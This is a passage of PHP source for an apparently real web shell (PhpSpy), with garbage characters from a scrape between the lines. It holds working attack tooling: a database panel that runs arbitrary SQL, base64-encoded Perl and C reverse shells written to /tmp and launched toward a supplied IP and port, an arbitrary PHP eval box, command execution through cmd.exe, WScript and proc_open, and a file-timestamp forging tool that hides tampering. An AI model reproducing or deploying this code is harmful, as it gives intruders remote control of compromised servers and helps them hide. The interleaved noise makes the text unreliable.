     . O# Y: i4 U9 L% }) [3 o# G! q: c
904.                                         p('<td>Key</td>');
     1 Z  @" Q8 L) ~7 U( d: w1 i
905.                                         p('<td>Default</td>');
     4 r7 z% G( r- @) W# Y3 f7 ^& p* B
906.                                         p('<td>Extra</td>');
       {& k( R3 g! m1 }
907.                                         p('</tr>');
     6 V# z/ Z- e  Q$ ?9 [
908.                                         foreach ($rowdb as $row) {
     
909.                                                 $thisbg = bg();
     
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     - e) L! y. M$ q- H
911.                                                 p('<td>'.$row['Field'].'</td>');
     
912.                                                 p('<td>'.$row['Type'].'</td>');
     
913.                                                 p('<td>'.$row['Null'].' </td>');
     & l* \1 T' [+ J8 X  L  Y8 M
914.                                                 p('<td>'.$row['Key'].' </td>');
     + @( k, T! }# K8 U+ p6 ?$ T
915.                                                 p('<td>'.$row['Default'].' </td>');
     
916.                                                 p('<td>'.$row['Extra'].' </td>');
     ' x. p4 _, N/ ^+ k0 I  k% B& C0 v
917.                                                 p('</tr>');
     
918.                                         }
     % u2 N4 [! k# t8 K! ]
919.                                         tbfoot();
     
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     & V' X) a" B# o
922.                                         while ($row = mysql_fetch_array($result)) {
     
923.                                                 $rowdb[] = $row;
     2 \  G. ^. |8 _* f
924.                                         }
     
925.                                         $rs = array();
     3 i4 J8 M5 q6 n4 |" F- s0 m
926.                                         if ($doing == 'insert') {
     . ]2 {$ g5 N: i! D# x' h, ?
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     9 P/ P( l% i1 A1 D9 ?
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     
930.                                                 $where = base64_decode($base64);
     9 }0 _6 e( r7 F3 f/ c( h; S  Q/ y6 D
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     
932.                                                 $rs = mysql_fetch_array($result);
     ; @2 O# v$ T" Q! Q( t, h# ^' m
933.                                         }
       y2 L2 a4 N- R# u: t5 Z) L
934.                                         p('<form method="post" action="'.$self.'">');
     ( \) m. ~+ \1 I1 f9 q
935.                                         p($dbform);
     
936.                                         makehide('action','sqladmin');
     
937.                                         makehide('tablename',$tablename);
     ' N* h0 c' S8 G$ W4 d
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
939.                                         foreach ($rowdb as $row) {
     
940.                                                 if ($rs[$row['Field']]) {
       s9 V0 p- x2 P# s- j- C
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     
942.                                                 } else {
     
943.                                                         $value = '';
     3 c, S. I3 S' W$ _5 H
944.                                                 }
     5 b; y$ C0 ~  ?6 f  {2 K. E4 b
945.                                                 $thisbg = bg();
     7 V- r1 G& \- v8 o
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     
948.                                         }
     3 ?8 K3 u& a9 t: i1 K! a7 y0 F
949.                                         if ($doing == 'insert') {
     
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     * x. Z/ ~& s; h; m
951.                                         } else {
     - `) X2 i0 P9 q7 T1 y5 ]- G# n
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
       F$ ]6 L& g. C
953.                                                 makehide('base64', $base64);
     
954.                                         }
     
955.                                         p('</table></form>');
     
956.                                 } else {
     
957.                                         $querys = @explode(';',$sql_query);
     7 M' y' `- q) B+ @# d6 t/ f: q0 t
958.                                         foreach($querys as $num=>$query) {
     2 m8 G5 ^! h& _" K! [3 A& Q
959.                                                 if ($query) {
     
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     " x$ o+ T2 E9 y$ s/ F# a9 {7 x
961.                                                         switch(qy($query))
     / `3 b/ |- }) v0 _* e
962.                                                         {
     
963.                                                                 case 0:
     1 ?# r% ?3 M, K$ o. }  k* E3 u
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     % R3 E: t( W+ w& d
965.                                                                         break;       
     
966.                                                                 case 1:
     & A# }. \. `1 t0 I* c
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     3 Q8 a; P* K; Y5 p& _9 F
968.                                                                                 $allowedit = 1;
     9 i/ a+ ]  ?( A) G4 M. m
969.                                                                         }
     
970.                                                                         if ($getnumsql) {
     
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     
973.                                                                         }
     
974.                                                                         if (!$tablename) {
     % p( E4 f2 x* ^0 h
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     3 W9 M: Z: _" A
978.                                                                                 $tablename = $matches[1][0];
     
979.                                                                         }
     2 I% M5 q" i/ E
980.                                                                         $result = q($query);
     
981.                                                                         p($multipage);
     " @9 C& Z, N9 A. V3 K: q
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     6 x- A" [! c( u1 Z
983.                                                                         p('<tr class="head">');
     
984.                                                                         if ($allowedit) p('<td>Action</td>');
     + f7 U" k; m2 t, N( T  j0 u8 d2 Z
985.                                                                         $fieldnum = @mysql_num_fields($result);
     
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     4 f0 q0 c' I7 O. G
987.                                                                                 $name = @mysql_field_name($result, $i);
     
988.                                                                                 $type = @mysql_field_type($result, $i);
     
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     ! N. A4 W; Y: d2 N1 X  E% U
991.                                                                         }
     
992.                                                                         p('</tr>');
     
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     8 c9 B( v9 z8 R# _# k
994.                                                                                 $thisbg = bg();
     
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     
998.                                                                                         if ($inside) {
     
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     4 m/ \! O: L) i
1000.                                                                                                 $tmp = ' AND ';
      
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      
1003.                                                                                 }
      7 y1 S, r) S  y9 t: ^
1004.                                                                                 $where = base64_encode($where);
      " v4 s. M: T: ?# A
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      , t* Z) i, v; E8 I: |
1006.                                                                                 p($b1);
      
1007.                                                                                 p('</tr>');
      
1008.                                                                                 unset($b1);
      ; x& f' P* \& x, Y
1009.                                                                         }
      
1010.                                                                         tbfoot();
      
1011.                                                                         p($multipage);
      
1012.                                                                         break;       
      
1013.                                                                 case 2:
      2 k$ E; s' c7 n
1014.                                                                         $ar = mysql_affected_rows();
      
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      
1016.                                                                         break;
      ! p" z7 M1 w( c( W
1017.                                                         }
      6 `* f# w* G/ f  ]! `
1018.                                                 }
        }, v; M( g4 B0 o
1019.                                         }
      6 v4 q/ P/ B4 L/ [( r0 Z& T6 c
1020.                                 }
      
1021.                         } else {
      2 H& a! ?  r! U; X1 Z" T
1022.                                 $query = q("SHOW TABLE STATUS");
      
1023.                                 $table_num = $table_rows = $data_size = 0;
      5 f$ u  P8 v1 y$ c
1024.                                 $tabledb = array();
      ; Y8 W& {" ^$ W: p  f. b
1025.                                 while($table = mysql_fetch_array($query)) {
      
1026.                                         $data_size = $data_size + $table['Data_length'];
      
1027.                                         $table_rows = $table_rows + $table['Rows'];
      
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      
1029.                                         $table_num++;
      - u8 t1 ]7 x. d; H' Y
1030.                                         $tabledb[] = $table;
      
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      8 x" {) ~4 q" D4 b" n% W5 a
1033.                                 unset($table);
      
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      
1035.                                 p('<form action="'.$self.'" method="POST">');
      
1036.                                 makehide('action','sqladmin');
      3 a/ D% k2 b8 p
1037.                                 p($dbform);
      
1038.                                 p('<tr class="head">');
      5 K5 P$ e2 ?* J, s, y& M) J( ~
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      1 c4 g& ]& s6 g1 H* d- ?
1040.                                 p('<td>Name</td>');
      
1041.                                 p('<td>Rows</td>');
      
1042.                                 p('<td>Data_length</td>');
      
1043.                                 p('<td>Create_time</td>');
      3 \" G0 w( ]/ O3 g6 ?# V
1044.                                 p('<td>Update_time</td>');
      
1045.                                 if ($highver) {
      % E4 N, j, j+ J/ \/ v
1046.                                         p('<td>Engine</td>');
      
1047.                                         p('<td>Collation</td>');
      
1048.                                 }
      
1049.                                 p('</tr>');
      " E8 V: M2 h# y; r. ?
1050.                                 foreach ($tabledb as $key => $table) {
      
1051.                                         $thisbg = bg();
      6 a( r$ {5 g4 R
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      " l4 N0 P* X+ O# p
1055.                                         p('<td>'.$table['Rows'].'</td>');
      ) m" V5 x+ |6 z! A
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      7 S4 Y/ E' U# `7 p
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      % `8 {: z1 E" V3 T" T/ r4 y
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      
1059.                                         if ($highver) {
      
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      ' ^4 ]4 m* @, K
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      4 }; t! E% Q6 `% \# M0 V, m  S; d
1062.                                         }
      % t' e' f7 o+ [- \% e
1063.                                         p('</tr>');
      
1064.                                 }
      
1065.                                 p('<tr class='.bg().'>');
      6 f. ^, A8 j& l1 p  t2 j
1066.                                 p('<td> </td>');
      
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      
1068.                                 p('<td>'.$table_rows.'</td>');
      4 W+ O+ w) g5 v
1069.                                 p('<td>'.$data_size.'</td>');
      
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      " v5 o  |+ T" f! _/ y& F
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      % {3 ^/ P! m$ Q' ?
1073.                                 makehide('doing','backupmysql');
      2 |4 n  C: Y: J. q
1074.                                 formfoot();
      
1075.                                 p("</table>");
      
1076.                                 fr($query);
      / }; m9 P& u6 o% N; q
1077.                         }
      
1078.                 }
      
1079.         }
      
1080.         tbfoot();
      2 W6 \* `  b9 D, V2 j' I% H
1081.         @mysql_close();
      
1082. }//end sql backup
      
1083. elseif ($action == 'backconnect') {
      % x0 s6 J' H* N
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      4 B( L# |2 ]0 o; q7 S  E0 ~
1085.         !$yourport && $yourport = '12345';
      $ L4 w* p2 V8 S" X( ^: J) ]
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      2 q$ N3 {1 u4 M. Y+ Q) W! j5 e
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      / r% h9 a+ C, G7 H
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      . q4 E) R7 f4 G3 I- U9 Q
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      ( q0 o% n4 Y/ q0 G
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      7 l3 z2 J/ D7 z: E
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      4 }: q% W: `3 u) O3 o
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      6 l6 ?( ~# \" E' b
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      3 E  V5 M7 p, D/ G; s/ M" _7 B' S$ F
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      ! l4 E6 j8 v+ B
1102.         if ($start && $yourip && $yourport && $use){
      : w' F  Y& y" O( L  y3 Z
1103.                 if ($use == 'perl') {
      
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      7 M" e% c/ Q/ h% ~0 v  _  M
1106.                 } else {
      
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      
1109.                         @unlink('/tmp/angel_bc.c');
      
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      
1111.                 }
      
1112.                 m("Now script try connect to $yourip port $yourport ...");
      ' q% r7 `2 F; h0 t3 Z3 \
1113.         }
      ' ]% y4 u6 Z) b8 k! l0 X* Z
1114.         formhead(array('title'=>'Back Connect'));
      . A! c. m. P0 I9 e4 L& I# c
1115.         makehide('action','backconnect');
      
1116.         p('<p>');
      # }9 g+ [& i. @5 S- V
1117.         p('Your IP:');
      
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      
1119.         p('Your Port:');
      
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      
1121.         p('Use:');
      
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      
1124.         p('</p>');
      3 Q7 Z' [  d: G' m* r  y7 Q
1125.         formfoot();
      " u+ D: B2 ^. ]0 j+ y
1126. }//end sql backup
      
1127. elseif ($action == 'eval') {
      $ R7 b2 `, D0 s
1128.         $phpcode = trim($phpcode);
      : [3 J0 B% H0 r2 L" C
1129.         if($phpcode){
      + r8 h; c" [% G
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      $ {, L- s: w. B0 A- y0 t# Z
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      / H) h' b  f) J
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      8 M9 Q8 t1 x$ v  Y2 ~
1134.         }
      7 c. v9 g7 x6 @( o
1135.         formhead(array('title'=>'Eval PHP Code'));
      
1136.         makehide('action','eval');
      * y- O, K) [+ @* A! w
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      & D! G9 A9 a( A# n) e! O$ T& d
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      4 K' @6 U' c! d
1139.         formfooter();
      
1140. }//end eval
      
1141. 
      ( Y# |/ Y/ Z( K, V
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      
1144.                 $fp=@fopen($opfile,'r');
      
1145.                 $contents=@fread($fp, filesize($opfile));
      ( {3 i+ W; Z3 c; r
1146.                 @fclose($fp);
      
1147.                 $contents=htmlspecialchars($contents);
      
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      
1150.         makehide('action','file');
      
1151.         makehide('dir',$nowpath);
      
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      7 C  B4 D6 h1 }+ ^
1154.         formfooter();
      
1155. }//end editfile
      / X0 w2 Y. ?8 ?# d2 [, B" T0 ?
1156. 
      $ [1 \: N5 K( r
1157. elseif ($action == 'newtime') {
      7 @4 T/ l  i2 Q
1158.         $opfilemtime = @filemtime($opfile);
      " @$ g" R( R4 c+ J& {: j
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      # A: _" v. ]1 }9 g
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      
1161.         formhead(array('title'=>'Clone file was last modified time'));
      ) G  z( J# Y- Q* X/ x
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      
1166.         formfooter();
      ! e7 V9 R& d+ J
1167.         formhead(array('title'=>'Set last modified'));
      
1168.         makehide('action','file');
      & f1 Q$ @5 m! }6 G$ w
1169.         makehide('dir',$nowpath);
      
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1171.         p('<p>Instead »');
      : A/ Y" k  y* c8 G8 ^
1172.         p('year:');
      
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      
1174.         p('month:');
      * }; R& c8 d9 L' e
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      
1176.         p('day:');
      * o3 {& u7 O2 U1 y, {
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      
1178.         p('hour:');
      
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      
1180.         p('minute:');
      
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      0 N  ^1 T# w3 l7 L1 r
1182.         p('second:');
      
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
        D% f0 d; ]# c8 Q, |
1184.         p('</p>');
      
1185.         formfooter();
      
1186. }//end newtime
      
1187. 
      
1188. elseif ($action == 'shell') {
      
1189.         if (IS_WIN && IS_COM) {
      + N# r3 s" Q; @. [
1190.                 if($program && $parameter) {
      
1191.                         $shell= new COM('Shell.Application');
      
1192.                         $a = $shell->ShellExecute($program,$parameter);
      2 ~* N7 ?4 [# R0 e
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      & K& s' ]/ w: q& T
1194.                 }
      ' a. d  S% G' P: i4 U" `
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      $ d1 t3 u- F/ X& E
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      
1197.                 formhead(array('title'=>'Execute Program'));
      5 \6 U5 ]3 J+ @
1198.                 makehide('action','shell');
      - ]! A5 X9 ^4 M# [( I, F" g
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      
1200.                 p('<p>');
      
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      - b$ A$ s; g8 _9 x9 D$ O
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1203.                 p('</p>');
      * v7 s+ x, t" U- u. Y, @. a
1204.                 formfoot();
      , K$ W' o" v, ~* g3 \" C6 C
1205.         }
      . n, b; R1 M# V
1206.         formhead(array('title'=>'Execute Command'));
      
1207.         makehide('action','shell');
      
1208.         if (IS_WIN && IS_COM) {
      
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      , i: t( G( O4 T0 ^* z! C6 L
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      
1211.         }
      
1212.         p('<p>');
      ' o: q) t( p- Z5 B% s  ?- G5 w
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1215.         p('</p>');
      
1216.         formfoot();
      6 F/ g* }' ?! H4 ]$ K$ V
1217. 
      
1218.         if ($command) {
        e+ J) e: c& @6 @6 x/ s
1219.                 p('<hr width="100%" noshade /><pre>');
      
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      1 ~7 h2 m5 f: o! c# N! r
1221.                         $wsh = new COM('WScript.shell');
      
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      . \  t! x, E  b: R# c
1223.                         $stdout = $exec->StdOut();
      
1224.                         $stroutput = $stdout->ReadAll();
      $ t4 G, p5 }0 @9 n- U# q
1225.                         echo $stroutput;
      ) J# u1 J$ ^" d% {& Z; X
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      
1227.                         $descriptorspec = array(
      ' F3 X5 `7 O: R5 f4 v& G8 V+ x
1228.                            0 => array('pipe', 'r'),
      # }# A0 p9 z, c9 o  C" l
1229.                            1 => array('pipe', 'w'),
      
1230.                            2 => array('pipe', 'w')
      8 x  A& {8 }. Q* T5 o' E, P
1231.                         );
      
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      * m$ v) x7 b( g* O6 k
1233.                         if (is_resource($process)) {
        _2 Z/ L$ z! r' l( b4 G
1234.                                 fwrite($pipes[0], $command."\r\n");
      
1235.                                 fwrite($pipes[0], "exit\r\n");
      2 b! q5 x; z9 |
1236.                                 fclose($pipes[0]);
      : y0 Q3 b* g; E9 s  i( l
1237.                                 while (!feof($pipes[1])) {
      7 E; o4 n/ n+ n2 H  \
1238.                                         echo fgets($pipes[1], 1024);
      1 c& T; z# o8 K( i% S
1239.                                 }
      ; s4 Y; Q) @: X* z7 |) |
1240.                                 fclose($pipes[1]);
      1 R# M. v( i7 ?3 H0 N- B4 \3 u
1241.                                 while (!feof($pipes[2])) {
      
1242.                                         echo fgets($pipes[2], 1024);
      2 e! C. ^5 C& D3 D5 c9 y. S' o
1243.                                 }
      . M9 W9 _; I  P, B  P. T2 [
1244.                                 fclose($pipes[2]);
      ' ]- ]% c7 p3 H+ d, l
1245.                                 proc_close($process);
      3 d3 P: a" q3 m* Q: ?
1246.                         }
      
1247.                 } else {
      8 |7 u1 D# S& \9 `% \" A
1248.                         echo(execute($command));
      
1249.                 }
      . V! E5 D1 o! V" {; B1 Y6 Y: p
1250.                 p('</pre>');
      % h  b6 Y+ i2 `, Q/ k
1251.         }
        l8 _; q! K2 J6 a  O: W
1252. }//end shell
      . z- `1 O+ g, n$ \+ w6 [3 p
1253. 
      
1254. elseif ($action == 'phpenv') {
      * I5 s8 s7 i; f
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      0 A" B1 q& b& I& Q, f& H% n0 X, w
1257.         !$dis_func && $dis_func = 'No';       
      ' X/ V4 J* J' p! o8 v) h
1258.         $info = array(
      
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      " o' ?: A- I) @8 ^) E
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      & R! b4 e4 A9 H. S
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      ) I0 I* s7 d- g0 q
1262.                 4 => array('Server OS',PHP_OS),
      
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      . b. C* q, t+ ^+ I4 q
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      2 |3 z( d' O* ^! ^4 q
1267.                 9 => array('The file path',__FILE__),
      " I# l9 ?/ N* n* h, q, y, {* d
1268. 
      
1269.                 10 => array('PHP Version',PHP_VERSION),
      
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      & d8 X( `9 H. P; g9 X8 ^9 K6 R
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      
1272.                 13 => array('Administrator',$adminmail),
      
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      % s/ A' P  ?! E( U+ O
1275.                 16 => array('display_errors',getcfg('display_errors')),
      
1276.                 17 => array('register_globals',getcfg('register_globals')),
      
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      
1280.                 21 => array('upload_max_filesize',$upsize),
      # V# J3 e9 M& w/ m7 f7 q0 x
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      + }/ ]/ m, r4 x; t% ~) `: [9 }
1282.                 23 => array('disable_functions',$dis_func),
      
1283.         );
      
1284. 
      : J7 x: q0 ~' L6 t
1285.         if($phpvarname) {
      
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      8 y, J9 p9 _: l9 |
1287.         }
      : H4 m( V: m9 D! R& E" r. @, A  [
1288. 
      , n3 U0 r- m9 z- W5 Q
1289.         formhead(array('title'=>'Server environment'));
      - V+ }7 ?; ?, L8 h5 O0 `' X
1290.         makehide('action','phpenv');
      
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      
1292.         formfooter();
      ; l3 o7 w/ W* E
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
